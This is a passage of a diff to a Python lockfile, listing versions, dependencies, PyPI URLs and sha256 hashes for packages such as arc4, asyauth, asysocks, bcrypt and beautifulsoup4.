"https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" }, + { url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" }, + { url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" }, + { url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" }, + { url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" }, +] + +[[package]] +name = "argcomplete" +version = "3.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/38/61/0b9ae6399dd4a58d8c1b1dc5a27d6f2808023d0b5dd3104bb99f45a33ff6/argcomplete-3.6.3.tar.gz", hash = "sha256:62e8ed4fd6a45864acc8235409461b72c9a28ee785a2011cc5eb78318786c89c", size = 73754, upload-time = "2025-10-20T03:33:34.741Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/74/f5/9373290775639cb67a2fce7f629a1c240dce9f12fe927bc32b2736e16dfc/argcomplete-3.6.3-py3-none-any.whl", hash = "sha256:f5007b3a600ccac5d25bbce33089211dfd49eab4a7718da3f10e3082525a92ce", size = 43846, upload-time = "2025-10-20T03:33:33.021Z" }, +] + +[[package]] +name = "asn1crypto" +version = "1.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/de/cf/d547feed25b5244fcb9392e288ff9fdc3280b10260362fc45d37a798a6ee/asn1crypto-1.5.1.tar.gz", hash = "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c", size = 121080, upload-time = "2022-03-15T14:46:52.889Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c9/7f/09065fd9e27da0eda08b4d6897f1c13535066174cc023af248fc2a8d5e5a/asn1crypto-1.5.1-py2.py3-none-any.whl", hash = "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67", size = 105045, upload-time = "2022-03-15T14:46:51.055Z" }, +] + +[[package]] +name = "asn1tools" +version = "0.167.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "bitstruct" }, + { name = "pyparsing" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9b/30/3338efbfe7a943b817a1d4feb795f14f5b32888097a202d42240dabc76db/asn1tools-0.167.0.tar.gz", hash = "sha256:cad53f6f6d788a6eec5e37543401cd8c39f138cc8016b64629ec29fb4735f5b2", size = 864481, upload-time = "2024-07-13T17:48:31.356Z" } + +[[package]] +name = "asyauth" +version = "0.0.23" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "asysocks" }, + { name = "minikerberos" }, + { name = "unicrypto" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/95/a3/32dcd11aa43bcb25d5023fff69e94248a0ffabcaecd5e7260f5932c43a09/asyauth-0.0.23.tar.gz", hash = "sha256:36f0384ddb2b625a10333363cafe190d6e9c9ed17fd07b3e2887641a3cc626f0", size = 79960, upload-time = "2025-10-29T09:52:45.894Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/26/ca/6d909a8bfff38ad3c1477d502c7ebf61288ac790d16eeb8bfbe2dcfcb4f0/asyauth-0.0.23-py3-none-any.whl", hash = "sha256:bbca62d10c4b0d2585103791d7451adda325c3d654114253638456fe84d39b0e", size = 116185, upload-time = "2025-10-29T09:52:44.684Z" }, +] + +[[package]] +name = "asysocks" +version = "0.2.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "cryptography" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e3/67/62b03894335465f89bea910e33d15878b3c997bbaafaecf630bcdf8e89de/asysocks-0.2.18.tar.gz", hash = "sha256:cc6196e82c8adc8b3ce2321dddf635500c760316da4b7cca321b532cbb3dfdf5", size = 117822, upload-time = "2025-10-29T08:00:23.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/b5/abf85f5444b264bf9f943eb1f6f577ebf3af34c8c4f66c1629d1f063eaa0/asysocks-0.2.18-py3-none-any.whl", hash = "sha256:a881536456d922a9fde44031aba262bc34ee39a9d14749ded1e8a4820602a37d", size = 149610, upload-time = "2025-10-29T08:00:21.76Z" }, +] + +[[package]] +name = "bcrypt" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/36/3329e2518d70ad8e2e5817d5a4cac6bba05a47767ec416c7d020a965f408/bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd", size = 25386, upload-time = "2025-09-25T19:50:47.829Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/85/3e65e01985fddf25b64ca67275bb5bdb4040bd1a53b66d355c6c37c8a680/bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be", size = 481806, upload-time = "2025-09-25T19:49:05.102Z" }, + { url = "https://files.pythonhosted.org/packages/44/dc/01eb79f12b177017a726cbf78330eb0eb442fae0e7b3dfd84ea2849552f3/bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2", size = 268626, upload-time = "2025-09-25T19:49:06.723Z" }, + { url = "https://files.pythonhosted.org/packages/8c/cf/e82388ad5959c40d6afd94fb4743cc077129d45b952d46bdc3180310e2df/bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f", size = 271853, upload-time = "2025-09-25T19:49:08.028Z" }, + { url = "https://files.pythonhosted.org/packages/ec/86/7134b9dae7cf0efa85671651341f6afa695857fae172615e960fb6a466fa/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86", size = 269793, upload-time = "2025-09-25T19:49:09.727Z" }, + { url = "https://files.pythonhosted.org/packages/cc/82/6296688ac1b9e503d034e7d0614d56e80c5d1a08402ff856a4549cb59207/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23", size = 289930, upload-time = "2025-09-25T19:49:11.204Z" }, + { url = "https://files.pythonhosted.org/packages/d1/18/884a44aa47f2a3b88dd09bc05a1e40b57878ecd111d17e5bba6f09f8bb77/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2", size = 272194, upload-time = "2025-09-25T19:49:12.524Z" }, + { url = "https://files.pythonhosted.org/packages/0e/8f/371a3ab33c6982070b674f1788e05b656cfbf5685894acbfef0c65483a59/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83", size = 269381, upload-time = "2025-09-25T19:49:14.308Z" }, + { url = "https://files.pythonhosted.org/packages/b1/34/7e4e6abb7a8778db6422e88b1f06eb07c47682313997ee8a8f9352e5a6f1/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746", size = 271750, upload-time = "2025-09-25T19:49:15.584Z" }, + { url = "https://files.pythonhosted.org/packages/c0/1b/54f416be2499bd72123c70d98d36c6cd61a4e33d9b89562c22481c81bb30/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e", size = 303757, upload-time = "2025-09-25T19:49:17.244Z" }, + { url = "https://files.pythonhosted.org/packages/13/62/062c24c7bcf9d2826a1a843d0d605c65a755bc98002923d01fd61270705a/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d", size = 306740, upload-time = "2025-09-25T19:49:18.693Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/1fdbfc8c0f20875b6b4020f3c7dc447b8de60aa0be5faaf009d24242aec9/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba", size = 334197, upload-time = "2025-09-25T19:49:20.523Z" }, + { url = "https://files.pythonhosted.org/packages/a6/c1/8b84545382d75bef226fbc6588af0f7b7d095f7cd6a670b42a86243183cd/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41", size = 352974, upload-time = "2025-09-25T19:49:22.254Z" }, + { url = "https://files.pythonhosted.org/packages/10/a6/ffb49d4254ed085e62e3e5dd05982b4393e32fe1e49bb1130186617c29cd/bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861", size = 148498, upload-time = "2025-09-25T19:49:24.134Z" }, + { url = "https://files.pythonhosted.org/packages/48/a9/259559edc85258b6d5fc5471a62a3299a6aa37a6611a169756bf4689323c/bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e", size = 145853, upload-time = "2025-09-25T19:49:25.702Z" }, + { url = "https://files.pythonhosted.org/packages/2d/df/9714173403c7e8b245acf8e4be8876aac64a209d1b392af457c79e60492e/bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5", size = 139626, upload-time = "2025-09-25T19:49:26.928Z" }, + { url = "https://files.pythonhosted.org/packages/f8/14/c18006f91816606a4abe294ccc5d1e6f0e42304df5a33710e9e8e95416e1/bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef", size = 481862, upload-time = "2025-09-25T19:49:28.365Z" }, + { url = "https://files.pythonhosted.org/packages/67/49/dd074d831f00e589537e07a0725cf0e220d1f0d5d8e85ad5bbff251c45aa/bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4", size = 268544, upload-time = "2025-09-25T19:49:30.39Z" }, + { url = "https://files.pythonhosted.org/packages/f5/91/50ccba088b8c474545b034a1424d05195d9fcbaaf802ab8bfe2be5a4e0d7/bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf", size = 271787, upload-time = "2025-09-25T19:49:32.144Z" }, + { url = "https://files.pythonhosted.org/packages/aa/e7/d7dba133e02abcda3b52087a7eea8c0d4f64d3e593b4fffc10c31b7061f3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da", size = 269753, upload-time = "2025-09-25T19:49:33.885Z" }, + { url = "https://files.pythonhosted.org/packages/33/fc/5b145673c4b8d01018307b5c2c1fc87a6f5a436f0ad56607aee389de8ee3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9", size = 289587, upload-time = "2025-09-25T19:49:35.144Z" }, + { url = "https://files.pythonhosted.org/packages/27/d7/1ff22703ec6d4f90e62f1a5654b8867ef96bafb8e8102c2288333e1a6ca6/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f", size = 272178, upload-time = "2025-09-25T19:49:36.793Z" }, + { url = "https://files.pythonhosted.org/packages/c8/88/815b6d558a1e4d40ece04a2f84865b0fef233513bd85fd0e40c294272d62/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493", size = 269295, upload-time = "2025-09-25T19:49:38.164Z" }, + { url = "https://files.pythonhosted.org/packages/51/8c/e0db387c79ab4931fc89827d37608c31cc57b6edc08ccd2386139028dc0d/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b", size = 271700, upload-time = "2025-09-25T19:49:39.917Z" }, + { url = "https://files.pythonhosted.org/packages/06/83/1570edddd150f572dbe9fc00f6203a89fc7d4226821f67328a85c330f239/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c", size = 334034, upload-time = "2025-09-25T19:49:41.227Z" }, + { url = "https://files.pythonhosted.org/packages/c9/f2/ea64e51a65e56ae7a8a4ec236c2bfbdd4b23008abd50ac33fbb2d1d15424/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4", size = 352766, upload-time = "2025-09-25T19:49:43.08Z" }, + { url = "https://files.pythonhosted.org/packages/d7/d4/1a388d21ee66876f27d1a1f41287897d0c0f1712ef97d395d708ba93004c/bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e", size = 152449, upload-time = "2025-09-25T19:49:44.971Z" }, + { url = "https://files.pythonhosted.org/packages/3f/61/3291c2243ae0229e5bca5d19f4032cecad5dfb05a2557169d3a69dc0ba91/bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d", size = 149310, upload-time = "2025-09-25T19:49:46.162Z" }, + { url = "https://files.pythonhosted.org/packages/3e/89/4b01c52ae0c1a681d4021e5dd3e45b111a8fb47254a274fa9a378d8d834b/bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993", size = 143761, upload-time = "2025-09-25T19:49:47.345Z" }, + { url = "https://files.pythonhosted.org/packages/84/29/6237f151fbfe295fe3e074ecc6d44228faa1e842a81f6d34a02937ee1736/bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b", size = 494553, upload-time = "2025-09-25T19:49:49.006Z" }, + { url = "https://files.pythonhosted.org/packages/45/b6/4c1205dde5e464ea3bd88e8742e19f899c16fa8916fb8510a851fae985b5/bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb", size = 275009, upload-time = "2025-09-25T19:49:50.581Z" }, + { url = "https://files.pythonhosted.org/packages/3b/71/427945e6ead72ccffe77894b2655b695ccf14ae1866cd977e185d606dd2f/bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef", size = 278029, upload-time = "2025-09-25T19:49:52.533Z" }, + { url = "https://files.pythonhosted.org/packages/17/72/c344825e3b83c5389a369c8a8e58ffe1480b8a699f46c127c34580c4666b/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd", size = 275907, upload-time = "2025-09-25T19:49:54.709Z" }, + { url = "https://files.pythonhosted.org/packages/0b/7e/d4e47d2df1641a36d1212e5c0514f5291e1a956a7749f1e595c07a972038/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd", size = 296500, upload-time = "2025-09-25T19:49:56.013Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c3/0ae57a68be2039287ec28bc463b82e4b8dc23f9d12c0be331f4782e19108/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464", size = 278412, upload-time = "2025-09-25T19:49:57.356Z" }, + { url = "https://files.pythonhosted.org/packages/45/2b/77424511adb11e6a99e3a00dcc7745034bee89036ad7d7e255a7e47be7d8/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75", size = 275486, upload-time = "2025-09-25T19:49:59.116Z" }, + { url = "https://files.pythonhosted.org/packages/43/0a/405c753f6158e0f3f14b00b462d8bca31296f7ecfc8fc8bc7919c0c7d73a/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff", size = 277940, upload-time = "2025-09-25T19:50:00.869Z" }, + { url = "https://files.pythonhosted.org/packages/62/83/b3efc285d4aadc1fa83db385ec64dcfa1707e890eb42f03b127d66ac1b7b/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4", size = 310776, upload-time = "2025-09-25T19:50:02.393Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/47ee337dacecde6d234890fe929936cb03ebc4c3a7460854bbd9c97780b8/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb", size = 312922, upload-time = "2025-09-25T19:50:04.232Z" }, + { url = "https://files.pythonhosted.org/packages/d6/3a/43d494dfb728f55f4e1cf8fd435d50c16a2d75493225b54c8d06122523c6/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c", size = 341367, upload-time = "2025-09-25T19:50:05.559Z" }, + { url = "https://files.pythonhosted.org/packages/55/ab/a0727a4547e383e2e22a630e0f908113db37904f58719dc48d4622139b5c/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb", size = 359187, upload-time = "2025-09-25T19:50:06.916Z" }, + { url = "https://files.pythonhosted.org/packages/1b/bb/461f352fdca663524b4643d8b09e8435b4990f17fbf4fea6bc2a90aa0cc7/bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538", size = 153752, upload-time = "2025-09-25T19:50:08.515Z" }, + { url = "https://files.pythonhosted.org/packages/41/aa/4190e60921927b7056820291f56fc57d00d04757c8b316b2d3c0d1d6da2c/bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9", size = 150881, upload-time = "2025-09-25T19:50:09.742Z" }, + { url = "https://files.pythonhosted.org/packages/54/12/cd77221719d0b39ac0b55dbd39358db1cd1246e0282e104366ebbfb8266a/bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980", size = 144931, upload-time = "2025-09-25T19:50:11.016Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ba/2af136406e1c3839aea9ecadc2f6be2bcd1eff255bd451dd39bcf302c47a/bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a", size = 495313, upload-time = "2025-09-25T19:50:12.309Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ee/2f4985dbad090ace5ad1f7dd8ff94477fe089b5fab2040bd784a3d5f187b/bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191", size = 275290, upload-time = "2025-09-25T19:50:13.673Z" }, + { url = "https://files.pythonhosted.org/packages/e4/6e/b77ade812672d15cf50842e167eead80ac3514f3beacac8902915417f8b7/bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254", size = 278253, upload-time = "2025-09-25T19:50:15.089Z" }, + { url = "https://files.pythonhosted.org/packages/36/c4/ed00ed32f1040f7990dac7115f82273e3c03da1e1a1587a778d8cea496d8/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db", size = 276084, upload-time = "2025-09-25T19:50:16.699Z" }, + { url = "https://files.pythonhosted.org/packages/e7/c4/fa6e16145e145e87f1fa351bbd54b429354fd72145cd3d4e0c5157cf4c70/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac", size = 297185, upload-time = "2025-09-25T19:50:18.525Z" }, + { url = "https://files.pythonhosted.org/packages/24/b4/11f8a31d8b67cca3371e046db49baa7c0594d71eb40ac8121e2fc0888db0/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822", size = 278656, upload-time = "2025-09-25T19:50:19.809Z" }, + { url = "https://files.pythonhosted.org/packages/ac/31/79f11865f8078e192847d2cb526e3fa27c200933c982c5b2869720fa5fce/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8", size = 275662, upload-time = "2025-09-25T19:50:21.567Z" }, + { url = "https://files.pythonhosted.org/packages/d4/8d/5e43d9584b3b3591a6f9b68f755a4da879a59712981ef5ad2a0ac1379f7a/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a", size = 278240, upload-time = "2025-09-25T19:50:23.305Z" }, + { url = "https://files.pythonhosted.org/packages/89/48/44590e3fc158620f680a978aafe8f87a4c4320da81ed11552f0323aa9a57/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1", size = 311152, upload-time = "2025-09-25T19:50:24.597Z" }, + { url = "https://files.pythonhosted.org/packages/5f/85/e4fbfc46f14f47b0d20493669a625da5827d07e8a88ee460af6cd9768b44/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42", size = 313284, upload-time = "2025-09-25T19:50:26.268Z" }, + { url = "https://files.pythonhosted.org/packages/25/ae/479f81d3f4594456a01ea2f05b132a519eff9ab5768a70430fa1132384b1/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10", size = 341643, upload-time = "2025-09-25T19:50:28.02Z" }, + { url = "https://files.pythonhosted.org/packages/df/d2/36a086dee1473b14276cd6ea7f61aef3b2648710b5d7f1c9e032c29b859f/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172", size = 359698, upload-time = "2025-09-25T19:50:31.347Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f6/688d2cd64bfd0b14d805ddb8a565e11ca1fb0fd6817175d58b10052b6d88/bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683", size = 153725, upload-time = "2025-09-25T19:50:34.384Z" }, + { url = "https://files.pythonhosted.org/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2", size = 150912, upload-time = "2025-09-25T19:50:35.69Z" }, + { url = "https://files.pythonhosted.org/packages/27/44/d2ef5e87509158ad2187f4dd0852df80695bb1ee0cfe0a684727b01a69e0/bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927", size = 144953, upload-time = "2025-09-25T19:50:37.32Z" }, + { url = "https://files.pythonhosted.org/packages/8a/75/4aa9f5a4d40d762892066ba1046000b329c7cd58e888a6db878019b282dc/bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7edda91d5ab52b15636d9c30da87d2cc84f426c72b9dba7a9b4fe142ba11f534", size = 271180, upload-time = "2025-09-25T19:50:38.575Z" }, + { url = "https://files.pythonhosted.org/packages/54/79/875f9558179573d40a9cc743038ac2bf67dfb79cecb1e8b5d70e88c94c3d/bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:046ad6db88edb3c5ece4369af997938fb1c19d6a699b9c1b27b0db432faae4c4", size = 273791, upload-time = "2025-09-25T19:50:39.913Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fe/975adb8c216174bf70fc17535f75e85ac06ed5252ea077be10d9cff5ce24/bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:dcd58e2b3a908b5ecc9b9df2f0085592506ac2d5110786018ee5e160f28e0911", size = 270746, upload-time = "2025-09-25T19:50:43.306Z" }, + { url = "https://files.pythonhosted.org/packages/e4/f8/972c96f5a2b6c4b3deca57009d93e946bbdbe2241dca9806d502f29dd3ee/bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:6b8f520b61e8781efee73cba14e3e8c9556ccfb375623f4f97429544734545b4", size = 273375, upload-time = "2025-09-25T19:50:45.43Z" }, +] + +[[package]] +name = "beautifulsoup4" +version = "4.13.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "soupsieve" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/85/2e/3e5079847e653b1f6dc647aa24549d68c6addb4c595cc0d902d1b19308ad/beautifulsoup4-4.13.5.tar.gz", hash = "sha256:5e70131382930e7c3de33450a2f54a63d5e4b19386eab43a5b34d594268f3695", size = 622954, upload-time = "2025-08-24T14:06:13.168Z" } +wheels = [ + { url = 